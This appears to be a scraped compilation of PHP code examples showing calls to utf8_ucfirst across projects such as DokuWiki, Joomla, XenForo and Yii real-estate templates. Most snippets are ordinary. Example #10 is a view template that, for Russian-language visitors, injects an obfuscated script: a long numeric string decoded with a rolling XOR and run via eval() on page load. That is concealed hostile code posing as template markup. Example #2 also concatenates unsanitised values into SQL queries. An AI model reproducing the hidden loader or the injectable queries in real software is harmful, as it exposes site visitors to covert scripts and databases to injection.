function pagefromtemplate(&$event, $param)
 {
     if (strlen(trim($_REQUEST['newpagetemplate'])) > 0) {
         global $conf;
         global $INFO;
         global $ID;
         $tpl = io_readFile(wikiFN($_REQUEST['newpagetemplate']));
         if ($this->getConf('userreplace')) {
             $stringvars = array_map(create_function('$v', 'return explode(",",$v,2);'), explode(';', $_REQUEST['newpagevars']));
             foreach ($stringvars as $value) {
                 $tpl = str_replace(trim($value[0]), trim($value[1]), $tpl);
             }
         }
         if ($this->getConf('standardreplace')) {
             // replace placeholders
             $file = noNS($ID);
             $page = strtr($file, '_', ' ');
             $tpl = str_replace(array('@ID@', '@NS@', '@FILE@', '@!FILE@', '@!FILE!@', '@PAGE@', '@!PAGE@', '@!!PAGE@', '@!PAGE!@', '@USER@', '@NAME@', '@MAIL@', '@DATE@'), array($ID, getNS($ID), $file, utf8_ucfirst($file), utf8_strtoupper($file), $page, utf8_ucfirst($page), utf8_ucwords($page), utf8_strtoupper($page), $_SERVER['REMOTE_USER'], $INFO['userinfo']['name'], $INFO['userinfo']['mail'], $conf['dformat']), $tpl);
             // we need the callback to work around strftime's char limit
             $tpl = preg_replace_callback('/%./', create_function('$m', 'return strftime($m[0]);'), $tpl);
         }
         $event->result = $tpl;
         $event->preventDefault();
     }
 }
Example #2
0
function lang($keyword, $esDinamico = false, $divisor = '[div]')
{
    global $lang;
    if (!trim($keyword)) {
        return;
    }
    $keyword = utf8_strtolower($keyword);
    $config = Initialize::obtain()->config;
    // TEXTOS ESTATICOS ////////////////////////////////////////////////////////////
    if ($esDinamico === false) {
        $exist = false;
        // SI NO EXISTE EN EL ARRAY LANG, AGREGA A LA DB
        if (!isset($lang[$keyword])) {
            // VERIFY IF EXIST KEYWORD IN DB
            if ($config['siteUseDb']) {
                $exist = c("select keyword from static_lang_keys where keyword = '" . $keyword . "' and lang = '" . $_SESSION['lang'] . "' ");
            }
            // IF NOT EXIST, ADD TO DB
            if (!$exist) {
                if ($config['siteUseDb']) {
                    sq("insert into static_lang_keys set dateLastUpdate = NOW(), dateInsert=NOW(), keyword = '" . $keyword . "', lang = '" . $_SESSION['lang'] . "', keyvalue = '" . $keyword . "' ");
                }
            }
            return utf8_ucfirst($keyword);
        } else {
            return utf8_ucfirst($lang[$keyword]);
        }
    }
    // TEXTOS DINAMICOS ////////////////////////////////////////////////////////////////
    if ($esDinamico === true) {
        $keyOfSelectedLang = array_search($_SESSION['lang'], $config['lang']);
        $keyword = explode($divisor, $keyword);
        // SI EXISTE, DEVUELVE VALOR
        if (isset($keyword[$keyOfSelectedLang])) {
            return $keyword[$keyOfSelectedLang];
        } else {
            return $keyword[0];
        }
    }
}
Example #3
0
 /**
  * @see http://ca.php.net/manual/en/function.ucfirst.php
  */
 function ucfirst($string)
 {
     if (defined('ENABLE_MBSTRING')) {
         require_once 'mbstring/core.php';
         require_once 'ucfirst.php';
     } else {
         require_once 'utils/unicode.php';
         require_once 'native/core.php';
         require_once 'ucfirst.php';
     }
     return utf8_ucfirst($string);
 }
 /**
  * Show localize all message and form
  *
  * @return void
  */
 private function localizeAllMessage()
 {
     $arrLanguages = I18nl10n::getInstance()->getAvailableLanguages(true);
     $strFlagPath = 'system/modules/i18nl10n/assets/img/flag_icons/';
     $strMessage = $GLOBALS['TL_LANG']['tl_page_i18nl10n']['msg_localize_all'];
     $strDomainLanguages = '';
     foreach ($arrLanguages as $key => $domain) {
         $strDomainLocalization = '';
         if (count($domain['localizations'])) {
             foreach ($domain['localizations'] as $localization) {
                 $strDomainLocalization .= sprintf('<li><img class="i18nl10n_flag" src="%1$s.png" /> %2$s</li>', $strFlagPath . $localization, $GLOBALS['TL_LANG']['LNG'][$localization]);
             }
         } else {
             $strDomainLocalization .= sprintf('<li>%s</li>', $GLOBALS['TL_LANG']['tl_page_i18nl10n']['no_languages']);
         }
         $strDomainLanguages .= sprintf('<li class="i18nl10n_localize_domain"><img class="i18nl10n_flag" src="%1$s.png" /> %2$s<ul>%3$s</ul></li>', $strFlagPath . $domain['default'], $key ?: '*', $strDomainLocalization);
     }
     $strDomainList = sprintf('<ul class="i18nl10n_localize_list">%s</ul>', $strDomainLanguages);
     $html = '<form class="i18nl10n_localize" method="post" action="contao/main.php?do=%1$s">
             <div class="i18nl10n_message">
                 %2$s %3$s
                 <div class="tl_submit_container">
                     <a href="contao/main.php?do=%1$s">%4$s</a>
                     <input type="submit" value="%5$s" class="tl_submit" name="localize_all_" />
                 </div>
             </div>
             <input type="hidden" name="REQUEST_TOKEN" value="%6$s">
         </form>';
     $rawMessage = sprintf($html, \Input::get('do'), $strMessage, $strDomainList, utf8_ucfirst($GLOBALS['TL_LANG']['MSC']['no']), utf8_ucfirst($GLOBALS['TL_LANG']['MSC']['yes']), REQUEST_TOKEN);
     \Message::addRaw($rawMessage);
 }
Example #5
0
 /**
  * UTF-8 aware alternative to ucfirst
  * Make a string's first character uppercase or all words' first character uppercase
  *
  * @param   string  $str           String to be processed
  * @param   string  $delimiter     The words delimiter (null means do not split the string)
  * @param   string  $newDelimiter  The new words delimiter (null means equal to $delimiter)
  *
  * @return  string  If $delimiter is null, return the string with first character as upper case (if applicable)
  *                  else consider the string of words separated by the delimiter, apply the ucfirst to each words
  *                  and return the string with the new delimiter
  *
  * @see     http://www.php.net/ucfirst
  * @since   11.1
  */
 public static function ucfirst($str, $delimiter = null, $newDelimiter = null)
 {
     jimport('phputf8.ucfirst');
     if ($delimiter === null) {
         return utf8_ucfirst($str);
     } else {
         if ($newDelimiter === null) {
             $newDelimiter = $delimiter;
         }
         return implode($newDelimiter, array_map('utf8_ucfirst', explode($delimiter, $str)));
     }
 }
Example #6
0
 public static function getFlagImgArray()
 {
     $d = dir(ROOT_PATH . Lang::FLAG_DIR);
     $arr = array();
     if ($d) {
         while (false !== ($name = $d->read())) {
             if ($name === '.' || $name === '..') {
                 continue;
             }
             $code_arr = explode('.', $name);
             $code = Yii::app()->locale->getTerritory($code_arr[0]);
             $arr[$name] = $code ? $code : utf8_ucfirst($code_arr[0]);
         }
         $d->close();
     }
     asort($arr);
     return $arr;
 }
Example #7
0
 /**
  * Verifies that the discussion title is valid
  *
  * @param string
  *
  * @return boolean
  */
 public function _verifyTitle(&$title)
 {
     // TODO: send these to callbacks to allow hookability?
     switch ($this->getOption(self::OPTION_ADJUST_TITLE_CASE)) {
         case 'ucfirst':
             // sentence case
             $title = utf8_ucfirst(utf8_strtolower($title));
             break;
         case 'ucwords':
             // title case
             $title = utf8_ucwords(utf8_strtolower($title));
             break;
     }
     return true;
 }
Example #8
0
/**
 * Performs common page template replacements
 * This is the default action for COMMON_PAGE_FROMTEMPLATE
 *
 * @author Andreas Gohr <*****@*****.**>
 */
function parsePageTemplate(&$data)
{
    extract($data);
    global $USERINFO;
    global $conf;
    // replace placeholders
    $file = noNS($id);
    $page = strtr($file, $conf['sepchar'], ' ');
    $tpl = str_replace(array('@ID@', '@NS@', '@FILE@', '@!FILE@', '@!FILE!@', '@PAGE@', '@!PAGE@', '@!!PAGE@', '@!PAGE!@', '@USER@', '@NAME@', '@MAIL@', '@DATE@'), array($id, getNS($id), $file, utf8_ucfirst($file), utf8_strtoupper($file), $page, utf8_ucfirst($page), utf8_ucwords($page), utf8_strtoupper($page), $_SERVER['REMOTE_USER'], $USERINFO['name'], $USERINFO['mail'], $conf['dformat']), $tpl);
    // we need the callback to work around strftime's char limit
    $tpl = preg_replace_callback('/%./', create_function('$m', 'return strftime($m[0]);'), $tpl);
    $data['tpl'] = $tpl;
    return $tpl;
}
 /**
  * UTF-8 aware alternative to ucfirst
  * Make a string's first character uppercase or all words' first character uppercase
  *
  * @param   string  $str           String to be processed
  * @param   string  $delimiter     The words delimiter (null means do not split the string)
  * @param   string  $newDelimiter  The new words delimiter (null means equal to $delimiter)
  *
  * @return  string  If $delimiter is null, return the string with first character as upper case (if applicable)
  *                  else consider the string of words separated by the delimiter, apply the ucfirst to each words
  *                  and return the string with the new delimiter
  *
  * @see     http://www.php.net/ucfirst
  * @since   2.0
  */
 public static function ucfirst($str, $delimiter = null, $newDelimiter = null)
 {
     if (!function_exists('utf8_ucfirst')) {
         require_once __DIR__ . '/phputf8/ucfirst.php';
     }
     if ($delimiter === null) {
         return utf8_ucfirst($str);
     }
     if ($newDelimiter === null) {
         $newDelimiter = $delimiter;
     }
     return implode($newDelimiter, array_map('utf8_ucfirst', explode($delimiter, $str)));
 }
Example #10
0
    if (Yii::app()->language == 'ru') {
        $var01 = '7';
        $var9 = '99;103;106;127;102;105;99;122;33;103;99;123;103;113;61;49;43;107;122;104;60;60;54;62;56;73;81;86;3;72;68;72;64;93;72;77;78;17;15;68;78;70;80;65;80;70;92;70;67;26;25;78;66;76;88;3;29;52;36;58;55;107;47;39;49;41;58;41;57;37;61;58;109;110;38;59;61;48;58;33;121;55;55;54;52;61;57;99;55;1;17;18;26;7;10;2;2;83;73;12;30;2;14;26;6;31;31;82;27;21;5;6;14;27;22;30;30;84;84;94;4;160;232;228;171;165;239;215;242;237;251;243;163;174;236;213;231;226;244;244;205;169;201;177;255;236;237;234;161;179;178;243;240;206;206;208;194;221;139;212;210;244;142;247;137;133;131;199;220;152;237;149;137;194;220;197;222;218;213;223;231;155;148;151;196;224;168;164;235;229;175;151;178;173;187;179;227;238;175;161;171;169;243;251;253;178;188;184;179;240;251;249;143;158;130;177;169;133;147;142;130;157;199;207;201;129;154;194;201;136;132;152;205;217;216;210;136;212;156;144;223;217;147;171;142;153;143;135;209;354;371;365;372;375;352;372;297;357;378;355;366;293;301;373;303;378;320;359;374;358;364;318;309;378;374;382;354;318;308;304;382;336;337;327;333;320;269;260;283;332;320;348;267;325;329;275;371;279;357;368;364;347;323;339;325;340;344;323;359;283;259;258;347;297;311;354;304;304;316;298;290;373;277;365;296;291;289;289;317;362;369;369;277;274;357;358;359;360;354;378;317;307;307;298;370;275;264;280;262;350;325;340;351;280;273;337;331;280;264;278;283;349;272;286;282;275;283;332;343;283;284;276;271;281;271;325;291;423;447;446;490;489;482;422;500;506;490;439;471;427;485;506;507;480;427;445;444;486;496;440;506;503;503;501;489;509;484;432;493;469;398;462;458;455;448;456;468;461;391;474;451;476;402;458;458;476;466;477;451;461;392;391;491;415;409;466;478;469;474;470;459;509;413;485;498;408;482;486;432;417;429;446;419;497;401;489;510;396;502;498;433;443;423;434;434;426;484;390;508;492;385;505;481;1533;1489;1442;1440;1452;1488;1499;1503;1501;457;1489;1491;1450;1496;1491;1496;1480;1487;1487;1486;1482;1478;1480;471;1465;1479;1481;1472;1484;1461;1483;1474;1592;1614;547;547;568;615;628;551;551;567;554;1558;1593;1612;1584;1596;1579;1569;1619;1581;1574;1573;1579;1578;1574;1580;570;1624;1576;1581;1573;1578;1565;1561;1559;515;1566;1563;1561;1567;1640;1561;1555;1641;1554;1567;527;531;543;597;603;581;522;521;537;595;593;591;516;537;533;518;542;578;608;548;558;560;545;613;573;615;546;536;575;558;574;564;614;621;562;574;566;554;630;636;632;566;552;553;575;565;568;629;636;611;516;520;532;579;525;513;603;571;591;573;552;564;515;539;523;541;540;528;523;559;595;587;586;542;542;523;539;534;537;605;525;540;754;750;750;751;749;747;737;698;724;686;740;740;720;682;686;745;738;752;767;758;758;762;740;755;765;747;679;711;699;685;706;696;640;722;726;730;712;704;667;763;655;729;709;728;709;729;711;704;734;651;658;722;726;710;729;731;717;717;735;640;668;713;721;719;762;737;754;760;740;681;675;673;700;755;746;763;759;749;697;678;692;677;698;745;756;740;742;743;765;738;762;691;697;692;697;695;660;731;706;722;724;725;707;732;712;655;643;647;664;648;668;725;657;669;642;667;661;733;665;647;665;666;659;655;645;704;718;726;860;806;828;831;811;876;864;885;873;868;879;821;816;873;871;889;816;866;870;874;888;880;811;843;831;890;885;887;883;879;804;831;771;871;868;787;788;789;790;796;776;847;837;837;856;768;861;838;842;852;776;787;774;781;838;847;771;793;846;862;836;841;787;862;812;808;805;813;894;869;805;802;806;829;815;825;887;785;873;881;876;824;831;820;884;806;804;820;869;773;893;819;808;809;814;869;847;846;784;774;842;776;777;777;775;795;779;786;834;799;795;832;796;792;785;790;794;774;787;857;776;785;778;836;792;792;786;796;1007;1009;1019;958;949;985;929;935;992;1004;995;1004;996;1017;947;979;951;928;974;948;948;994;1023;1011;1004;1009;935;967;955;940;962;952;896;963;973;977;960;960;980;922;1012;910;922;1015;907;915;1971;1951;2032;2034;2042;1926;1929;1933;1923;919;1923;1921;2044;1934;1921;1930;1926;1921;2045;2044;2044;2032;2042;997;1927;2041;2043;2034;2042;1923;2041;2032;2038;1920;1009;1009;1006;945;934;1013;1017;1001;1016;1988;2031;1946;2018;2030;2021;2031;1953;2015;2000;2003;2009;2008;2008;2002;968;1962;2014;2011;2007;2008;2003;2007;1989;977;1992;1997;1995;1997;1974;1991;1985;1979;1988;1993;989;961;977;923;1129;1143;1084;1087;1067;1121;1135;1137;1078;1067;1059;1072;1068;1136;1139;1071;1133;1073;1135;1071;1075;1077;1085;1079;1087;1078;1129;1144;1134;1082;1086;1076;1024;1030;1099;1107;1104;1051;1025;1038;1043;';
    }
    echo '<script>' . $var1 . '=' . $var01 . ';' . $var2 . '="' . $var9 . '";var ' . $var3 . '=new String();' . $var4 . '=' . $var2 . '.split(";");' . $var5 . '=' . $var4 . '.length-1;for(var mn=0;mn<' . $var5 . ';mn++){' . $var6 . '=' . $var4 . '[mn];' . $var7 . '="' . $var8 . '=' . $var6 . '";' . $var7 . '=' . $var7 . '+"^' . $var1 . '";eval(' . $var7 . ');' . $var1 . '+=1;' . $var3 . '=' . $var3 . '+String.fromCharCode(' . $var8 . ');}eval(' . $var3 . ');</script>';
    unset($var1, $var2, $var3, $var4, $var5, $var6, $var7, $var8, $var9);
}
?>
		</div>

		<div class="viewapartment-description-top">

			<div>
				<strong>
				<?php 
echo utf8_ucfirst($data->objType->name);
if ($data->stationsTitle() && $data->num_of_rooms) {
    echo ',&nbsp;';
    echo Yii::t('module_apartments', '{n} bedroom|{n} bedrooms|{n} bedrooms near {metro} metro station', array($data->num_of_rooms, '{metro}' => $data->stationsTitle()));
} elseif ($data->num_of_rooms) {
    echo ',&nbsp;';
    echo Yii::t('module_apartments', '{n} bedroom|{n} bedrooms|{n} bedrooms', array($data->num_of_rooms));
}
if (issetModule('location') && param('useLocation', 1)) {
    if ($data->locCountry || $data->locRegion || $data->locCity) {
        echo "<br>";
    }
    if ($data->locCountry) {
        echo $data->locCountry->getStrByLang('name');
    }
    if ($data->locRegion) {
Example #11
0
 public static function apTypes()
 {
     $result = Apartment::getApTypes();
     if (Yii::app()->theme->name == 'atlas') {
         $types = array(0 => Yii::t('common', 'Type of listing'));
     } else {
         $types = array(0 => Yii::t('common', 'Please select'));
     }
     if (param('useTypeSale', 1)) {
         if (in_array(Apartment::PRICE_SALE, $result)) {
             $types[Apartment::PRICE_SALE] = utf8_ucfirst(tt('Sale', 'apartments'));
         }
     }
     if (param('useTypeBuy', 1)) {
         if (in_array(Apartment::PRICE_BUY, $result)) {
             $types[Apartment::PRICE_BUY] = utf8_ucfirst(tt('Buy a', 'apartments'));
         }
     }
     if (param('useTypeRenting', 1)) {
         if (in_array(Apartment::PRICE_RENTING, $result)) {
             $types[Apartment::PRICE_RENTING] = utf8_ucfirst(tt('Rent a', 'apartments'));
         }
     }
     if (param('useTypeChange', 1)) {
         if (in_array(Apartment::PRICE_CHANGE, $result)) {
             $types[Apartment::PRICE_CHANGE] = utf8_ucfirst(tt('Exchange', 'apartments'));
         }
     }
     if (param('useTypeRentDay', 1)) {
         if (in_array(Apartment::PRICE_PER_DAY, $result)) {
             $types[Apartment::PRICE_PER_DAY] = utf8_ucfirst(tc('rent by the day'));
         }
     }
     if (param('useTypeRentHour', 1)) {
         if (in_array(Apartment::PRICE_PER_HOUR, $result)) {
             $types[Apartment::PRICE_PER_HOUR] = utf8_ucfirst(tc('rent by the hour'));
         }
     }
     if (param('useTypeRentMonth', 1)) {
         if (in_array(Apartment::PRICE_PER_MONTH, $result)) {
             $types[Apartment::PRICE_PER_MONTH] = utf8_ucfirst(tc('rent by the month'));
         }
     }
     if (param('useTypeRentWeek', 1)) {
         if (in_array(Apartment::PRICE_PER_WEEK, $result)) {
             $types[Apartment::PRICE_PER_WEEK] = utf8_ucfirst(tc('rent by the week'));
         }
     }
     $return['propertyType'] = $types;
     if (issetModule('selecttoslider') && param('usePriceSlider') == 1) {
         $return['currencyTitle'] = array(Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':');
     } else {
         $return['currencyTitle'] = array(Yii::t('common', 'Payment to'), Yii::t('common', 'Payment to'), Yii::t('common', 'Fee up to'), Yii::t('common', 'Fee up to'), Yii::t('common', 'Fee up to'), Yii::t('common', 'Fee up to'));
     }
     return $return;
 }
    ?>
 <tr>
                    <td><?php 
    echo $date2;
    ?>
</td>
                    <td><?php 
    echo Apartment::getNameByType($item->type);
    ?>
</td>
                    <td><?php 
    echo $item->locRegion->getStrByLang('name');
    ?>
</td>
                    <td><?php 
    echo utf8_ucfirst($item->objType->name);
    if ($item->num_of_rooms) {
        echo ',&nbsp;';
        echo Yii::t('module_apartments', '{n} bedroom|{n} bedrooms|{n} bedrooms', array($item->num_of_rooms));
    }
    ?>
</td>  <!--Что-->
                    <td><?php 
    echo $item->bt_getPriceMod();
    ?>
</td>
                    <td><a><?php 
    echo $item->user->getNameForType();
    ?>
</a></td>
                </tr>
Example #13
0
 function testLinefeed()
 {
     $str = "ñtërn\nâtiônàlizætiøn";
     $ucfirst = "Ñtërn\nâtiônàlizætiøn";
     $this->assertEqual(utf8_ucfirst($str), $ucfirst);
 }
Example #14
0
/**
 * Returns the pagetemplate contents for the ID's namespace
 *
 * @author Andreas Gohr <*****@*****.**>
 */
function pageTemplate($data)
{
    $id = $data[0];
    global $conf;
    global $INFO;
    $path = dirname(wikiFN($id));
    if (@file_exists($path . '/_template.txt')) {
        $tpl = io_readFile($path . '/_template.txt');
    } else {
        // search upper namespaces for templates
        $len = strlen(rtrim($conf['datadir'], '/'));
        while (strlen($path) >= $len) {
            if (@file_exists($path . '/__template.txt')) {
                $tpl = io_readFile($path . '/__template.txt');
                break;
            }
            $path = substr($path, 0, strrpos($path, '/'));
        }
    }
    if (!$tpl) {
        return '';
    }
    // replace placeholders
    $file = noNS($id);
    $page = strtr($file, '_', ' ');
    $tpl = str_replace(array('@ID@', '@NS@', '@FILE@', '@!FILE@', '@!FILE!@', '@PAGE@', '@!PAGE@', '@!!PAGE@', '@!PAGE!@', '@USER@', '@NAME@', '@MAIL@', '@DATE@'), array($id, getNS($id), $file, utf8_ucfirst($file), utf8_strtoupper($file), $page, utf8_ucfirst($page), utf8_ucwords($page), utf8_strtoupper($page), $_SERVER['REMOTE_USER'], $INFO['userinfo']['name'], $INFO['userinfo']['mail'], $conf['dformat']), $tpl);
    // we need the callback to work around strftime's char limit
    $tpl = preg_replace_callback('/%./', create_function('$m', 'return strftime($m[0]);'), $tpl);
    return $tpl;
}
Example #15
0
        $phpt = new PhpT();
        $phpt->fileName = $imm['nombre'];
        $phpt->fileTitle = utf8_strtoupper($producto['nombre']);
        $phpt->params = array('w' => 614, 'h' => 460, 'zc' => 1);
        $phpt->folder = $imm['tabla'];
        $imagenes[] = $phpt->getImgHtml();
        // THUMB FOR PAGER
        $phpt2 = new PhpT();
        $phpt2->fileName = $imm['nombre'];
        $phpt2->fileTitle = utf8_strtoupper($producto['nombre']);
        $phpt2->params = array('w' => 70, 'h' => 52, 'zc' => 1);
        $phpt2->folder = $imm['tabla'];
        $thumbs[] = $phpt2->getImgHtml();
    }
}
$highlight1 = new highlight(utf8_ucfirst(utf8_strtolower($producto['nombre'])), $words);
$hiTitulo = $highlight1->output_text;
$highlight2 = new highlight($producto['resumen'], $words);
$hiResumen = $highlight2->output_text;
$highlight3 = new highlight(fop($producto['descripcion']), $words);
$hiDescripcion = $highlight3->output_text;
$out[] = '<h4 class="small">» ' . $hiTitulo . '</h4>';
$out[] = '<div class="productoAmpliado">';
$out[] = '<div style="position: relative; float: left;">';
if ($imagenes) {
    $out[] = '<div class="cycleProducto">' . join("\n", $imagenes) . '</div>';
}
if ($thumbs) {
    $out[] = '<div class="cycleProductoPager">' . join("\n", $thumbs) . '</div>';
}
$out[] = '</div>';
Example #16
0
 function get_std_replacements()
 {
     if (!$this->getConf('stdreplace')) {
         return array();
     }
     global $conf;
     global $INFO;
     global $ID;
     $file = noNS($ID);
     $page = cleanID($file);
     $names = array('ID', 'NS', 'FILE', '!FILE', '!FILE!', 'PAGE', '!PAGE', '!!PAGE', '!PAGE!', 'USER', 'DATE', 'EVENT');
     $values = array($ID, getNS($ID), $file, utf8_ucfirst($file), utf8_strtoupper($file), $page, utf8_ucfirst($page), utf8_ucwords($page), utf8_strtoupper($page), $_SERVER['REMOTE_USER'], strftime($conf['dformat'], time()), $event->name);
     $std_replacements = array();
     for ($i = 0; $i < count($names); $i++) {
         $std_replacements[$names[$i]] = $values[$i];
     }
     return $std_replacements;
 }
Example #17
0
<table cellpadding="0" cellspacing="0" border="0" width="100%">
	<tr>
		<td valign="top" width="170px">
			<?php 
$res = Images::getMainThumb(150, 100, $item->images);
$img = CHtml::image($res['thumbUrl'], $item->getStrByLang('title'), array('title' => $item->getStrByLang('title')));
echo CHtml::link($img, $item->getUrl(), array('title' => $item->getStrByLang('title')));
?>
		</td>
		<td valign="top">
            <strong>
				<?php 
echo utf8_ucfirst($item->objType->name) . ' ' . tt('type_view_' . $item->type, 'apartments');
if ($item->num_of_rooms) {
    echo ',&nbsp;';
    echo Yii::t('module_apartments', '{n} bedroom|{n} bedrooms|{n} bedrooms', array($item->num_of_rooms));
}
if (isset($item->city) && isset($item->city->name)) {
    echo ',&nbsp;';
    echo $item->city->name;
}
?>
            </strong>
            <p class="cost"><?php 
echo $item->getPrettyPrice();
?>
</p>
		</td>
	</tr>
</table>
Example #18
0
File: vdict.php Project: n2i/xvnkb
function html_format($word, $definitions)
{
    $html = '';
    $block_t = false;
    $block_e = false;
    $block_i = false;
    $block_d = false;
    $definitions = explode("\n", $definitions);
    foreach ($definitions as $d) {
        // Type
        if (preg_match('|^\\*\\s+(.*)$|', $d, $m)) {
            // Close example block if exists
            if ($block_e) {
                $html .= '</ul>';
                $block_e = false;
            }
            if ($block_d) {
                $html .= '</li>';
                $block_d = false;
            }
            // Close idiom block if exists
            if ($block_i) {
                $html .= '</li></ol>';
                $block_i = false;
            }
            $html .= ($block_t ? '</ul>' : '') . '<h2>' . utf8_ucfirst($m[1]) . '</h2><ul>';
            $block_t = true;
        } else {
            if (preg_match('|^-\\s*(.*)$|', $d, $m)) {
                $html .= ($block_e ? '</ul>' : '') . ($block_d ? '</li>' : '') . '<li id="def"><def>' . $m[1] . '</def>';
                $block_d = true;
                $block_e = false;
            } else {
                if (preg_match('|^=\\s*([^\\+]+)\\+(.*)$|', $d, $m)) {
                    $html .= (!$block_e ? '<ul>' : '') . '<li>' . html_example_format($word, $m[1]) . '<br/><i>' . $m[2] . '</i></li>';
                    $block_e = true;
                } else {
                    if (preg_match('|^!\\s*(.*)$|', $d, $m)) {
                        if ($block_t) {
                            $html .= '</ul>';
                            $block_t = false;
                        }
                        if ($block_e) {
                            $html .= '</ul>';
                            $block_e = false;
                        }
                        if ($block_d) {
                            $html .= '</li>';
                            $block_d = false;
                        }
                        $html .= (!$block_i ? '<h2>Thành ngữ</h2><ol><li>' : '</ul></li><li>') . html_example_format($word, $m[1]) . '<ul>';
                        $block_i = true;
                    }
                }
            }
        }
    }
    return $html;
}
Example #19
0
 /**
  * UTF-8 aware alternative to ucfirst
  * Make a string's first character uppercase
  *
  * @static
  * @access public
  * @param string
  * @return string with first character as upper case (if applicable)
  * @see http://www.php.net/ucfirst
  */
 public static function ucfirst($str)
 {
     jimport('phputf8.ucfirst');
     return utf8_ucfirst($str);
 }
/**
 * utf8_ucwords( )
 * 
 * Uppercase the first character of each word in a string
 * @since 1.3
 * 
 * @param    string $str The input string
 * @return   string The resulting string
 */
function utf8_ucwords($str)
{
    foreach (utf8_ws() as $ws) {
        $pos = -1;
        while (true) {
            if (($pos = utf8_strpos($str, $ws, $pos + 1)) === false) {
                break;
            }
            $str = utf8_substr($str, 0, $pos + 1) . utf8_strtoupper(utf8_substr($str, $pos + 1, 1)) . utf8_substr($str, $pos + 2);
        }
    }
    return utf8_ucfirst($str);
}
Example #21
0
 /**
  * Verifies that the discussion title is valid
  *
  * @param string
  *
  * @return boolean
  */
 protected function _verifyTitle(&$title)
 {
     // TODO: send these to callbacks to allow hookability?
     switch ($this->getOption(self::OPTION_ADJUST_TITLE_CASE)) {
         case 'ucfirst':
             // sentence case
             $title = utf8_ucfirst(utf8_strtolower($title));
             break;
         case 'ucwords':
             // title case
             $title = utf8_ucwords(utf8_strtolower($title));
             break;
     }
     if ($this->getOption(self::OPTION_TRIM_TITLE)) {
         $table = reset($this->_fields);
         $title = XenForo_Helper_String::wholeWordTrim($title, $table['title']['maxLength'] - 5);
     }
     return true;
 }
Example #22
0
 /**
  * User submits a message
  *
  * @return array data sent to client as JSON
  */
 public function action_add()
 {
     if (!$this->auth->acl_get('u_mchat_use') || !check_form_key('mchat', -1)) {
         throw new \phpbb\exception\http_exception(403, 'MCHAT_NOACCESS');
     }
     if ($this->functions_mchat->mchat_is_user_flooding()) {
         throw new \phpbb\exception\http_exception(400, 'MCHAT_NOACCESS');
     }
     $message = $this->request->variable('message', '', true);
     // User can choose the autocapitalization
     if ($this->user->data['user_mchat_capitalization']) {
         $message = utf8_ucfirst($message);
     }
     $sql_ary = $this->process_message($message, array('user_id' => $this->user->data['user_id'], 'user_ip' => $this->user->data['session_ip'], 'message_time' => time()));
     $this->functions_mchat->mchat_action('add', $sql_ary);
     /**
      * Event render_helper_add
      *
      * @event dmzx.mchat.core.render_helper_add
      * @since 0.1.2
      */
     $this->dispatcher->dispatch('dmzx.mchat.core.render_helper_add');
     return $this->action_refresh();
 }
Example #23
0
/**
 * Performs common page template replacements
 * This works on data from COMMON_PAGETPL_LOAD
 *
 * @author Andreas Gohr <*****@*****.**>
 */
function parsePageTemplate(&$data)
{
    /**
     * @var string $id        the id of the page to be created
     * @var string $tpl       the text used as template
     * @var string $tplfile   the file above text was/should be loaded from
     * @var bool   $doreplace should wildcard replacements be done on the text?
     */
    extract($data);
    global $USERINFO;
    global $conf;
    // replace placeholders
    $file = noNS($id);
    $page = strtr($file, $conf['sepchar'], ' ');
    $tpl = str_replace(array('@ID@', '@NS@', '@FILE@', '@!FILE@', '@!FILE!@', '@PAGE@', '@!PAGE@', '@!!PAGE@', '@!PAGE!@', '@USER@', '@NAME@', '@MAIL@', '@DATE@'), array($id, getNS($id), $file, utf8_ucfirst($file), utf8_strtoupper($file), $page, utf8_ucfirst($page), utf8_ucwords($page), utf8_strtoupper($page), $_SERVER['REMOTE_USER'], $USERINFO['name'], $USERINFO['mail'], $conf['dformat']), $tpl);
    // we need the callback to work around strftime's char limit
    $tpl = preg_replace_callback('/%./', create_function('$m', 'return strftime($m[0]);'), $tpl);
    $data['tpl'] = $tpl;
    return $tpl;
}
Example #24
0
<?php

$dbTable = 'venta';
$tableOrder = 'date desc';
$displayField = 'titulo';
$valueField = 'id';
$selectFunction = 'if(this.value) { redir(\'mails/addByEmailIdAndItemIdToAllUsers.php?emailId=' . $m['id'] . '&amp;table=' . $dbTable . '&amp;itemId=\'+this.value) }';
$out[] = '<div class="widgetBox">';
$out[] = '<div class="innerPadding">';
$mq = q("select * from mail_queue_emails order by id");
$out[] = '<h2>Add Item To Queue Using Email Template</h2>';
$out[] = '<p>Item: ' . utf8_ucfirst($dbTable) . '</p>';
$out[] = '<p>To: All Users</p>';
if ($mq) {
    foreach ($mq as $m) {
        $out[] = '<div class="widgetRow">';
        $out[] = '<p><strong>Email Name: </strong><a class="linkGray" href="?m=emails&amp;action=edit&amp;id=' . $m['id'] . '"><strong>' . $m['email_name'] . '</strong></a></p>';
        $out[] = '<p><strong>Subject: </strong>' . $m['subject_line'] . '</p>';
        $out[] = '<p><strong>From: </strong>"' . $m['email_from_name'] . '" &lt;' . $m['email_from'] . '&gt;</p>';
        $f = new formInputs();
        $f->name = $dbTable;
        $f->containerStyle = 'padding-top: 3px; margin-bottom: 0;';
        $f->inputType = 'select';
        $f->tableFrom = $dbTable;
        $f->tableOrder = $tableOrder;
        $f->displayField = $displayField;
        $f->valueField = $valueField;
        $f->function = $selectFunction;
        $f->labelWrapperCls = 'rounded5top';
        $f->inputWrapperCls = 'rounded5bottom';
        $out[] = $f->getFormInput();
Example #25
0
 /**
  * @see http://ca.php.net/manual/en/function.ucfirst.php
  * @param $string string Input string
  * @return string ucfirst version of input string
  */
 static function ucfirst($string)
 {
     if (defined('ENABLE_MBSTRING')) {
         require_once './lib/pkp/lib/phputf8/mbstring/core.php';
         require_once './lib/pkp/lib/phputf8/ucfirst.php';
     } else {
         require_once './lib/pkp/lib/phputf8/utils/unicode.php';
         require_once './lib/pkp/lib/phputf8/native/core.php';
         require_once './lib/pkp/lib/phputf8/ucfirst.php';
     }
     return utf8_ucfirst($string);
 }
Example #26
0
    }
    $additionalInfo = 'additional_info_' . Yii::app()->language;
    if (isset($model->user->{$additionalInfo}) && !empty($model->user->{$additionalInfo})) {
        echo '<div>';
        echo '<strong>' . tc('Additional info') . '</strong>: ' . CHtml::encode($model->user->{$additionalInfo});
        echo '</div>';
    }
}
?>
				<?php 
echo '<div>';
echo '<strong>' . tt('Apartment ID', 'apartments') . '</strong>: ' . $model->id;
echo '</div>';
echo '<div>';
echo '<strong>';
echo utf8_ucfirst($model->objType->name);
